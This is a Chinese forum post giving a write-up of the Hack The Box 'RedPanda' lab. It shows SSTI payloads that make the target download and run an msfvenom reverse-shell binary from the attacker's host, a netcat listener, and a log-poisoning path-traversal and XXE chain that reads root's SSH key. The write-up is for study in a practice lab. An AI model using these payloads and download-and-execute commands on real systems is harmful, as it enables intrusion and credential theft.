首页
社区
课程
招聘
[原创]HTB RedPanda(easy) WP
发表于: 2022-11-1 15:21 988

[原创]HTB RedPanda(easy) WP

2022-11-1 15:21
988

小白入门web安全,更多的是借着大佬的wp学习知识
参考:
https://shakuganz.com/2022/07/12/hackthebox-redpanda/
https://vato.cc/hackthebox-writeup-redpanda/
HTB上需要连接vpn方能访问题目,kali自带openvpn
图片描述
sudo vim /etc/hosts,写入题目地址
图片描述
先进行端口探测,nmap或rustscan
rustscan项目地址https://github.com/RustScan/RustScan

开启了22和8080
使用SSTI注入,下面是可以的payload列表

图片描述
具体可以查看https://www.acunetix.com/blog/web-security-zone/exploiting-ssti-in-thymeleaf/ 或其他大佬的帖子
使用注入模板里匹配的payload进行代码执行https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#freemarker---basic-injection
先使用curl来进行测试,本机开启服务,xxxx为本机地址

然后使用msfvenom生成一个shell,LHOST为本机地址,LPORT可以更换

xxxx为本机地址需在r.elf文件目录下开启python3 -m http.server 80

之后开启监听,接受返回的shell,在收到connect后,攻击机生成PTY SHELL

获取user的flag

之后进行权限提升

发现有跑在root权限下的web应用panda_search-0.0.1-SNAPSHOT.jar,使用id命令可以判断当前用户是否在logs组下,在搜索logs组拥有的文件时,发现/opt/panda_search/redpanda.log. 我们拥有日志文件的 READ+WRITE权限。

使用pspy64,(xxxx为本机地址,pspy64下开启http)发现一个JAR文件将由root执行,pspy项目地址https://github.com/DominicBreuker/pspy

在/opt/credit-score/LogParser/final/target/路径下开一个http并下载文件(python3 -m http.server 8123)。使用jd-gui打开 JAR 文件,可以看到在main()中读取了/opt/panda_search/redpanda.log。代码对/opt/panda_search/redpanda.log 进行了逐行读取,其中必须包含“.jpg”,.split(“\|\|”)该字符串必须拆分为4个字符串,第4个字符串必须指向现有的.jpg文件。.jpg文件的“Artist”必须与/credits/<author_name>_creds.xml相匹配。
由于当前用户没有 WRITE 访问权限/credits,因此我必须将“Artist”值设置为“../tmp/gg”,我们的 XML 漏洞利用将位于/tmp/gg_credits.xml。
JPG 文件应位于当前用户具有 WRITE 访问权限的文件夹中。用/tmp。
找一张可用的jpg文件,给文件的Artist tag 改为“../tmp/gg”

图片描述
查看所需XML结构的一种快速简便的方法是查看靶机上的XML文件。

可以在Java中/创建tmp/gg_creds.xml使用XML实体扩展 (XXE)来读取root的SSH私有密钥,有关xxe的连接https://knowledge-base.secureflag.com/vulnerabilities/xml_injection/xml_entity_expansion_java.html#vulnerable-example-1
gg_creds.xml文件内容

程序将从该目录中读取 JPG 文件/opt/panda_search/src/main/resources/static,由于我们只有对/home/woodenk或/tmp 的WRITE权限,所以使用目录遍历指向JAR文件来读取/tmp。

最终内容为/opt/panda_search/redpanda.log

本机在制作好的jpg与xml目录下开启 python3 -m http.server 80

然后就能拿到root shell了

注意key的末尾要有个换行。。。。。
图片描述

nmap -sT -v -Pn 10.10.11.170 -p-
rustscan RedPanda.htb -r 1-65535
nmap -sT -v -Pn 10.10.11.170 -p-
rustscan RedPanda.htb -r 1-65535
{{7*7}}
${7*7}
<%= 7*7 %>
${{7*7}}
#{7*7}
{{7*7}}
${7*7}
<%= 7*7 %>
${{7*7}}
#{7*7}
*{"".getClass().forName("java.lang.Runtime").getRuntime().exec("curl http://10.10.xx.xx")}
*{"".getClass().forName("java.lang.Runtime").getRuntime().exec("curl http://10.10.xx.xx")}
python3 -m http.server 80
python3 -m http.server 80
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.xx.xx LPORT=9876 -f elf > r.elf
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.xx.xx LPORT=9876 -f elf > r.elf
*{"".getClass().forName("java.lang.Runtime").getRuntime().exec("wget 10.10.xx.xx/r.elf")}
*{"".getClass().forName("java.lang.Runtime").getRuntime().exec("chmod 777 ./r.elf")}
*{"".getClass().forName("java.lang.Runtime").getRuntime().exec("./r.elf")}
*{"".getClass().forName("java.lang.Runtime").getRuntime().exec("wget 10.10.xx.xx/r.elf")}
*{"".getClass().forName("java.lang.Runtime").getRuntime().exec("chmod 777 ./r.elf")}
*{"".getClass().forName("java.lang.Runtime").getRuntime().exec("./r.elf")}
nc -lvnp 9876
python3 -c 'import pty; pty.spawn("/bin/bash")'
nc -lvnp 9876
python3 -c 'import pty; pty.spawn("/bin/bash")'
cd ~
cat user.txt
cd ~
cat user.txt
ps aux | grep root
...
root         865  0.0  0.0   2608   596 ?        Ss   Jul11   0:00 /bin/sh -c sudo -u woodenk -g logs java -jar /opt/panda_search/target/panda_search-0.0.1-SNAPSHOT.jar
root         866  0.0  0.2   9420  4368 ?        S    Jul11   0:00 sudo -u woodenk -g logs java -jar /opt/panda_search/target/panda_search-0.0.1-SNAPSHOT.jar
ps aux | grep root
...
root         865  0.0  0.0   2608   596 ?        Ss   Jul11   0:00 /bin/sh -c sudo -u woodenk -g logs java -jar /opt/panda_search/target/panda_search-0.0.1-SNAPSHOT.jar
root         866  0.0  0.2   9420  4368 ?        S    Jul11   0:00 sudo -u woodenk -g logs java -jar /opt/panda_search/target/panda_search-0.0.1-SNAPSHOT.jar
woodenk@redpanda:/home/woodenk$ id
uid=1000(woodenk) gid=1001(logs) groups=1001(logs),1000(woodenk)
 
woodenk@redpanda:/home/woodenk$ find / -group logs 2>/dev/null
...
/opt/panda_search/redpanda.log
 
woodenk@redpanda:/home/woodenk$ ls -l /opt/panda_search/redpanda.log
-rw-rw-r-- 1 root logs 18052 Jul 11 00:00 /opt/panda_search/redpanda.log
woodenk@redpanda:/home/woodenk$ id
uid=1000(woodenk) gid=1001(logs) groups=1001(logs),1000(woodenk)
 
woodenk@redpanda:/home/woodenk$ find / -group logs 2>/dev/null
...
/opt/panda_search/redpanda.log
 
woodenk@redpanda:/home/woodenk$ ls -l /opt/panda_search/redpanda.log
-rw-rw-r-- 1 root logs 18052 Jul 11 00:00 /opt/panda_search/redpanda.log
woodenk@redpanda:/home/woodenk$ cd /tmp
woodenk@redpanda:/tmp$ wget 10.10.xx.xx/pspy64
woodenk@redpanda:/tmp$ chmod +x ./pspy64
woodenk@redpanda:/tmp$ ./pspy64
woodenk@redpanda:/home/woodenk$ cd /tmp
woodenk@redpanda:/tmp$ wget 10.10.xx.xx/pspy64
woodenk@redpanda:/tmp$ chmod +x ./pspy64
woodenk@redpanda:/tmp$ ./pspy64
exiftool -Artist="../tmp/gg"  pe_exploit.jpg
exiftool -Artist="../tmp/gg"  pe_exploit.jpg

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

最后于 2022-12-29 14:29 被hml189编辑 ,原因: 勘误
收藏
免费 0
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回
//